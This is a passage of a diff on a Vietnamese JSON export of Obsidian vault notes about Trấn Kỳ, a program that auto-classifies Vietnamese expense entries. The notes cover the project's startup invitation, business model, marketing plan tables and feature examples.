doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Những đánh đổi phổ biến trong việc phát triển phần mềm]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên", + "Toàn bộ nội dung": "| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| -------------------------------------------------- | -------------------- | --------- | --------- |\r\n| Chuyển đổi từ những người muốn xây dựng PKM | | | |\r\n| Chuyển đổi từ những người muốn tự học lập trình | | | |\r\n| Chuyển đổi từ những người trong Discord QC | | | |\r\n| Chuyển đổi từ những người muốn hỗ trợ Kendy | | | |\r\n| Chuyển đổi từ những người muốn hỗ trợ người mắc nợ | | | |\r\n| Chuyển đổi từ những người đến C Lập trình | | | |\r\n| Chuyển đổi từ những người đến C Obsidian | | | |\r\n| Chuyển đổi từ những người đến quảcầu.cc | | | |\r\n| Chuyển đổi từ bạn bè QC | | | |\r\n| Chuyển đổi từ những người theo dõi QC | | | |\r\n\r\nMọi người thấy đọc được tới bài tham gia\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |\r\n| [[Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ]] | Cứ 2 người nhắn tin thì 1 người nhận việc | [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ\\|Xây dựng cộng đồng phát triển Trấn Kỳ]] |\r\n| [[Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu]] | Cứ 2 người vào thread Trấn Kỳ thì có 1 người nhắn | [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ\\|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]] |\r\n| Mỗi tuần có 40 click vào thread Trấn Kỳ trên Discord Quả Cầu | Cứ 5 engaged session ở bài \"Lời mời\" thì có 2 click vào thread Trấn Kỳ | Chào hỏi người mới tham gia |\r\n| Mỗi ngày có 100 engaged session ở bài [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] | | Tổ chức các buổi thảo luận |\r\n\r\n[[Cộng đồng từ chưa tỉnh thức đến tỉnh thức ít nhất cũng 2 năm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-12T09:39:00.000Z", - "Ngày cập nhật": "2024-08-20T16:59:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-01T13:42:00.000Z", "id": "4t" }, { - "Tiêu đề": "Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm", + "Tiêu đề": "Kế hoạch", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chào mọi người,\r\n\r\nTrong thời gian qua bọn mình đã viết [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+m%E1%BB%9F+%C4%91%E1%BA%A7u), một chương trình phân loại câu nhập bằng tiếng Việt tự nhiên, với mục đích là để [[Lý do viết Trấn Kỳ|giúp Kendy]]. Chương trình đã viết xong. Bọn mình nhận thấy nó còn nhiều tiềm năng để phát triển nó, và việc phát triển đó có thể giải quyết nhiều nhu cầu khác nhau, không chỉ là Kendy, nên bọn mình muốn biến nó thành một startup và viết lời mời này.\r\n\r\nĐây là một startup vì nó phải có tăng trưởng và doanh thu, và các hoạt động của nó sẽ để làm những việc mà một người bạn sẽ làm. Trước mắt mục tiêu của nó là để hỗ trợ Kendy. Sau khi Kendy hết khó khăn rồi thì tuỳ vào quyết định của những người ở lại đến lúc đó.\r\n\r\n# Tôi có thể giúp gì?\r\nĐây là các công việc luôn cần người tham gia:\r\n\r\n- [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ|Lên kế hoạch phát triển]]{ .md-button .md-button--primary }\r\n- [[Truyền thông]]{ .md-button .md-button--primary }\r\n- [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]]{ .md-button .md-button--primary }\r\n- [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Xây dựng cộng đồng phát triển Trấn Kỳ]]{ .md-button .md-button--primary }\r\n- [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]]{ .md-button .md-button--primary }\r\n# Tôi có lợi gì khi tham gia?\r\nNhận làm bất cứ công việc nào bạn sẽ được nhận link tải Trấn Kỳ.\r\n\r\nNgoài ra, tuỳ thuộc vào việc bạn là ai mà bạn sẽ nhận được những lợi ích khác nhau. Xem chi tiết ở bài này: [[Giả thiết về giá trị của Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n```mermaid\r\ngantt\r\ndateFormat D/M\r\naxisFormat %d/%m\r\ntitle Lịch sử phát triển Trấn Kỳ\r\n\r\nsection Làm MVP\r\nPhân loại trên Fibery : crit, 5/7, 13/8\r\nLấy dữ liệu từ Google Keep: 23/8\r\nDocker, open graph: 23/8, 13/10\r\n\r\nsection Xây dựng sản phẩm\r\nViết hướng dẫn sử dụng: 4/9, 10/10\r\nSửa web: 28/10\r\nLên kế hoạch: 11/11\r\nPhỏng vấn (5 buổi): 11/11, 23/11\r\nGặp đối tác (4 buổi): 18/11, 24/11\r\n```\r\n\r\n# Cách thức tham gia\r\nBạn có thể bắt đầu bằng việc điền [khảo sát nhu cầu phân loại tự động và lập trình](https://quảcầu.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+x%C3%A2y+d%E1%BB%B1ng+m%E1%BB%99t+startup+%C4%91%E1%BB%83+l%C3%A0m+nh%E1%BB%AFng+vi%E1%BB%87c+m%E1%BB%99t+ng%C6%B0%E1%BB%9Di+b%E1%BA%A1n+s%E1%BA%BD+l%C3%A0m&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) này để bọn mình hiểu hơn về bạn.\r\n\r\nMời bạn vào Discord của Quả Cầu để thảo luận với mọi người\r\n[Tham gia](https://discord.com/channels/898550123007709204/1163106307495170108/1171076032342806548){ .md-button .md-button--primary }\r\n\r\n# Mô hình hoạt động\r\nNgười cần Trấn Kỳ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Trong số đó, những người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐể hỗ trợ người sử dụng Trấn Kỳ cũng như thu hút sự quan tâm của cộng đồng, [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] sẽ được tổ chức. Những người cần có các buổi đó (bao gồm cả những người cần có Trấn Kỳ nhưng không có khả năng chi tiền) sẽ tham gia vào việc tổ chức chúng. Việc này đảm bảo rằng các buổi này sẽ diễn ra vào thời gian họ rảnh với nội dung được cá nhân hoá cho họ và ứng dụng được ngay vào dự án của họ. Những người tham gia các buổi này ngoài việc được đáp ứng các nhu cầu trước mắt sẽ có thêm cơ hội mở rộng mối quan hệ, kiến thức, trải nghiệm và các cơ hội khác.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ#Mô hình hoạt động là gì?|Hỏi đáp về việc bán Trấn Kỳ]]{ .md-button .md-button--primary } [[⚡⚡Hiểu biết sâu/Ξ Khái niệm/Kế hoạch|Các bản kế hoạch]]{ .md-button .md-button--primary }\r\n\r\nĐây là những hoạt động mà một người bạn sẽ làm. Startup này chỉ chuyên nghiệp hoá chúng lên để đạt hiệu quả cao nhất mà thôi.\r\n# Số tiền thu được sẽ dùng làm gì?\r\n- Trả lương\r\n- Trả lãi cho nhà đầu tư\r\n- Hỗ trợ Kendy\r\n", + "Toàn bộ nội dung": "```dataview\r\nList rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Kế hoạch\" \r\nWHERE file.name!=this.file.name\r\ngroup by split(file.folder,\"/\" )[4] \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-11-05T14:09:00.000Z", + "Ngày cập nhật": "2024-08-01T13:42:00.000Z", "id": "4u" }, { - "Tiêu đề": "Mô hình kinh doanh Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Mô hình kinh doanh Trấn Kỳ", + "Tiêu đề": "Untitled", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Kế hoạch/Untitled", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Ai sẽ dùng Trấn Kỳ? Ai sẽ không dùng?\r\n[[Lý do viết Trấn Kỳ|Trấn Kỳ viết ra là cho Kendy]], nên chắc chỉ những Kendy khác mới cần. Họ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Họ đã mường tượng được rằng thứ họ cần vượt quá khả năng đáp ứng của các sản phẩm no-code, và chỉ có con đường lập trình mới giải quyết được. Éo le là họ có đủ chuyện phải lo để việc dành thời gian tự học lập trình là bất khả, và đủ thứ phải chi để việc dành tiền thuê lập trình viên là bất khả.\r\n\r\nNếu bạn là một người như vậy thì có nghĩa là bạn đã bị dồn nén quá lâu rồi. Bọn mình nghĩ việc điền phiếu đăng ký để mô tả nhu cầu của bạn là quá đơn giản; chỉ cần khơi một chút thôi thì chữ nghĩa sẽ tuôn ra như thác đổ. Vì Trấn Kỳ được sinh ra dành cho những người như bạn, nên Trấn Kỳ sẽ là của bạn.\r\n\r\nCòn nếu bạn không thấy mình bị dày vò đến mức đó thì có lẽ bạn là một người dùng tiềm năng, đủ quan tâm để hỏi bọn mình một vài thứ, đủ hứng thú để đọc các bài viết liên quan (như bài này), nhưng chưa đủ để làm tất cả mọi thứ trong khả năng để có Trấn Kỳ. Có thể thỉnh thoảng bạn cũng thấy ức chế, khó chịu khi phải phân loại thủ công ngay lúc nhập liệu, nhưng sự khó chịu đó chưa đủ dồn nén để đưa việc nói với bọn mình rằng bạn rất cần đến nó lên ưu tiên hàng đầu. Khi nào tiện hơn thì bạn sẽ làm.\r\n\r\nXem thêm:: [[Điều quan trọng thì thường hiếm khi khẩn cấp, và điều khẩn cấp thì thường hiếm khi quan trọng]]\r\n\r\n# Ai sẽ trả tiền?\r\nVới những doanh nghiệp lớn có đủ tiền để nuôi một đội lập trình riêng thì có khả năng họ đã tự có hệ thống phân loại của riêng họ rồi. Nên có lẽ những người có nhiều tiềm năng chi tiền nhất là những người vừa rất cần việc phân loại tự động những ý nghĩ trong đầu mình để cuối tuần có một báo cáo đáng tin cậy, có một số tiền cũng đủ thoải mái để chi nhưng không đủ tiền để thuê một lập trình viên hoặc đủ thời gian để chờ họ viết. (Bọn mình viết chương trình này trong hơn 2 tháng làm việc toàn thời gian và việc gọi điện thảo luận rất linh động không cần báo trước và có thể rất khuya. [[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]). \r\n\r\nNhững người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nNhưng có lẽ tốt nhất không phải là kiếm người sẵn sàng trả tiền, mà là giúp Kendy càng không phải chi tiền càng tốt. Điều này quay lại ý tưởng mạng kết nối nhu cầu. Xem thêm: [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]].\r\n\r\n# Bán vậy thì có còn là phần mềm mã nguồn mở hay tự do nữa không? \r\nCó, vì khái niệm mã nguồn mở hay tự do đều chỉ nói về quyền tái phân phối (redistribution) của người dùng, chứ vẫn cho phép tác giả tạo rào cản tiếp cận. Xem chi tiết: [Is it open source for allowing people who have access to the source act as if it's open source?](https://opensource.stackexchange.com/q/14357/6810)\r\n\r\n# Vậy mua về xong rồi chia sẻ cho mọi người thì có được không?\r\nTất nhiên là được. Bọn mình còn khuyến khích bạn làm vậy, vì các bạn sẽ có thêm động cơ để mua chung. \r\n\r\n# Người khác ăn cắp ý tưởng thì sao? \r\nNhững app quản lý tài chính như MoneyLover hay Misa chắc chắn sẽ bắt chước được tính năng này thôi. Ai có hiểu biết về lập trình nhìn vào cũng thấy đây chỉ là bắt regex chứ có gì đâu mà khó. Chịu khó bỏ thời gian ra để debug là được. Nên từ đầu việc giữ bí mật mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm. Cạnh tranh với bọn họ chỉ làm xao nhãng mục tiêu giúp Kendy. \r\n\r\nNhư cũng đã nói trong [[Lý do viết Trấn Kỳ]], việc sử dụng những app như vậy làm dữ liệu bị cô lập. Nên nếu mà gọi là cạnh tranh với họ, thì sẽ là cạnh tranh ở điểm họ không làm: [[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào|sự tự do dữ liệu]]. Thị trường mà Trấn Kỳ có lợi thế cạnh tranh không phải là thị trường dành cho người cần quản lý chi tiêu cá nhân, mà là dành cho những người cần xây dựng hệ thống quản trị phù hợp với luồng làm việc và suy nghĩ đặc thù của họ. Họ là những người đã dùng qua những app như vậy rồi và thấy chúng quá chật hẹp với mình. Họ hiểu giới hạn của các sản phẩm hướng đến sự thuận tiện của người dùng bình thường và đã có nhu cầu lớn về học lập trình rồi. \r\n\r\nChúng ta hay nghe báo chí nói về những thuật ngữ như chuyển đổi số, kinh tế số. Một trong những [[Sự khác nhau giữa công nghệ thông tin và chuyển đổi số]] là công nghệ thông tin cung cấp một công cụ để thực hiện tự động hoá một cách thức làm việc đã có sẵn. Không có máy tính thì làm lâu hơn, tốn công hơn, nhưng vẫn làm được. Còn chuyển đổi số triệt để hơn thế. Nó đòi hỏi ta phải chuyển đổi cả cách làm và tư duy làm việc. Những cách làm và tư duy mới này chỉ có thể khả thi khi máy tính được phát minh. Nói cách khác, không có máy tính thì không làm được chúng. Những app quản lý chi tiêu cá nhân kia tuy tiện thật, nhưng không có nó thì ta vẫn có thể làm được bằng tay. Còn sự lưu thông dữ liệu thì chỉ có máy tính mới làm được. Như vậy, các app đó chỉ mới là ứng dụng công nghệ thông tin trong việc thu chi, chứ không phải giải quyết nhu cầu chuyển đổi số của người sử dụng.\r\n\r\nTrao cho người dùng sự tự do dữ liệu nghĩa là giúp họ tham gia vào [[Người không học về lập trình thấy việc lập trình như làm phép thuật|thế giới phép thuật của lập trình]], hoà mình vào dòng chảy của [[Kinh tế số là kinh tế dữ liệu (data-driven economy)|nền kinh tế số]]. Lợi thế cạnh tranh của bọn mình không phải là ở ý tưởng phân loại dữ liệu độc đáo hay là việc giữ được bí mật mã nguồn, mà nằm ở việc trao quyền cho người sử dụng.\r\n\r\nViệc mở mã nguồn không phải lúc nào cũng là sự đe doạ tới nguồn thu nhập của doanh nghiệp. Vẫn có những dự án mã nguồn mở được đầu tư mấy chục triệu đô như Langchain, Deno, Docker. Có lẽ [[Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác]]. Trường hợp code quá dễ chắc tầm một tuần là làm được thì mới bị bắt chước, và như vậy thì mới không đáng để đầu tư. Tự thị trường cũng đã giải quyết được nhu cầu đó rồi. Chỉ khi nào tốn vài tháng để làm thì mới không đáng copy mà đáng đầu tư, vì nếu đi copy thì sẽ ko cạnh tranh được với một nhà đầu tư khác đầu tư luôn vào mình.\r\n\r\nXem thêm:: [[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\r\n# Mô hình hoạt động là gì?\r\nỞ thị trường của những người cần xây dựng hệ thống quản trị phù hợp với luồng làm việc và suy nghĩ đặc thù của mình, người dùng sẽ cần phải biết cách kết hợp Trấn Kỳ vào hệ thống của mình. Hiện tại Trấn Kỳ đã có thể tích hợp được với Google Keep và Fibery; nếu họ dùng hệ thống khác họ sẽ phải tự lập trình, hoặc thuê ngoài, thứ mà họ đã hiểu và chấp nhận. Lúc này sẽ có ba khả năng:\r\n\r\n```mermaid\r\nflowchart TB\r\n\r\ntiền{Có tiền
    để thuê
    ngoài?}--Có-->thuê(Thuê những
    người đã biết cách
    sử dụng Trấn Kỳ) \r\ntiền --Không-->tựHọc{Có thể tự học
    lập trình
    một mình?}\r\ntựHọc--Có-->làmTheoHướngDẫn(Làm theo các bài hướng dẫn sử dụng Trấn Kỳ) \r\ntựHọc--Không-->thamGiaLớpHọc(Tham gia các buổi
    hướng dẫn tích hợp Trấn Kỳ
    vào hệ thống cá nhân) \r\n``` \r\n\r\n| 💸 Có tiền để thuê ngoài? | 🕰️ Có thể tự học lập trình một mình? | Giải pháp |\r\n| ------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| ❌ | ✔ | Làm theo [các bài hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/H%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20Tr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) |\r\n| ❌ | ❌ | Tham gia [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] |\r\n| ✔ | | Thuê những người đã biết cách sử dụng Trấn Kỳ |\r\n\r\n\r\nBạn sẽ không thể thuê ngoài trên các chợ nước ngoài như [Fiverr](https://www.fiverr.com/ \"Fiverr - Freelance Services Marketplace\") hay [Upwork](https://www.upwork.com/ \"Upwork | The World’s Work Marketplace\") được, vì việc xử lý tiếng Việt có những thứ rất lắt nhắt mà chỉ có người Việt mới có thể hiểu và xử lý được. Chợ chuyên ", + "Toàn bộ nội dung": "Giả thiết: \r\n- Trấn Kỳ tự sẽ lan toả được\r\n- Các bài về hệ thống sẽ tự lan toả được\r\n- Dịch vụ đáp ứng nhu cầu học sẽ tự lan toả được\r\n \r\nTình hình truyền thông: \r\n\r\n- LinkedIn\r\n- Chia sẻ các bài \r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | --------- |\r\n| Bài [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý\\|Tích hợp Trấn Kỳ vào hệ thống của bạn]] có 10 lượt truy cập mỗi ngày | | |\r\n| [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến\\|Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến]] | | |\r\n# Dạy và tư vấn cho người muốn học kiến thức, kỹ năng xây dựng hệ thống quản lý và xử lý dữ liệu\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ----------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |\r\n| Kiếm 1tr một tuần | Làm được trung bình 2 buổi/tuần. Mỗi buổi trung bình 500k | |\r\n| Mỗi tuần làm trung bình 2 buổi | | |\r\n| Mỗi tuần có 2 người hỏi | | |\r\n| Mỗi ngày có 4 người đọc hơn 50% bài [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] | | [[Các buổi đáp ứng nhu cầu học lập trình\\|Kế hoạch tiếp thị các buổi đáp ứng nhu cầu học lập trình]] |\r\n\r\n---\r\n\r\nMục tiêu: [[Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí]]
    → [[Lợi nhuận mỗi tuần 2tr5]]\r\n\r\n\r\n\r\n| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |\r\n| Bán cho người cần sự kỷ luật tài chính | Người cần có sự kỷ luật tài chính tìm đến mình và trả tiền | [[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]] | [[Kế hoạch bán cho người cần có sự kỷ luật tài chính]] |\r\n| Bán cho người cần phân loại dữ liệu | Người cần phân loại dữ liệu mua | [[Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí]] | [[Kế hoạch bán cho người cần có sự kỷ luật tài chính]] |\r\n| Bán cho người cần xây dựng cơ sở dữ liệu, hệ thống thông tin | Người cần xây dựng cơ sở dữ liệu, hệ thống thông tin tích hợp được vào hệ thống của họ. Họ không cần phải có demo | Người cần xây dựng cơ sở dữ liệu, hệ thống thông tin biết lập trình cơ bản hoặc có người lập trình cho họ | Bán cho doanh nghiệp nhỏ |\r\n| Bán cho ngân hàng | Ngân hàng muốn được gia công | Biết được nhu cầu của ngân hàng | [[Phỏng vấn các quản lý cấp cao trong ngân hàng]] |\r\n\r\n[[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ\\|Xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n
    \r\n\r\n\r\n[[Kiếm tiền từ Trấn Kỳ]]\r\n# SaaS: tính theo số lượng giao dịch hoặc plugin\r\nĐối tượng:: Người bận rộn không có thời gian phân loại dữ liệu nhưng cần có báo cáo chi tiết\r\n\r\n# Bán khoá học và Chợ/hoạt động cộng đồng\r\nĐối tượng:: Người làm phát triển sản phẩm, khởi nghiệp, dự án. Người cần tổ chức dữ liệu, xây dựng PKM, ERP, giàn giáo nhận thức cho mình. Người cần học lập trình\r\n\r\nCác hoạt động cộng đồng này sẽ giúp có thêm plugin cũng như những người làm gia công cho các công ty. Điều này sẽ tạo hiệu ứng mạng lưới. \r\n\r\nHọ sẽ muốn tham gia vì là thứ họ cần. Đó có thể là:\r\n- Tiền\r\n- Sự trôi chảy trong công việc,\r\n- Kiến thức lập trình\r\n- Các mối quan hệ và cơ hội phát triển nghề nghiệp\r\n\r\n# Bán dữ liệu\r\n- Quảng cáo, tiếp thị liên kết\r\n- Gợi ý mua những sản phẩm mở rộng\r\n\r\n# Gia công cho các công ty\r\nĐối tượng:: Khách hàng doanh nghiệp\r\n\r\n\r\n\r\n[[Mô hình kinh doanh và định giá]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n[[Mô hình kinh doanh Trấn Kỳ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -5113,16 +5073,15 @@ "id": "4v" }, { - "Tiêu đề": "Trấn Kỳ là gì", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Trấn Kỳ là gì", + "Tiêu đề": "Câu hỏi khảo sát", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Câu hỏi khảo sát", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Và nó còn có thể là gì?", - "Toàn bộ nội dung": "# Giới thiệu về dự án lớn: Mạng lưới kết nối nhu cầu\r\nChính vì Trấn Kỳ là một phần của nó nên sẽ tập trung vào nhu cầu của bạn\r\nlinh hoạt trong việc chi trả \r\n\r\n# Vậy Trấn Kỳ là gì?\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên\r\nPhân loại câu nhập bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là chương trình dành cho bạn.\r\n\r\n# Tính năng\r\n## Phân loại thông tin\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng 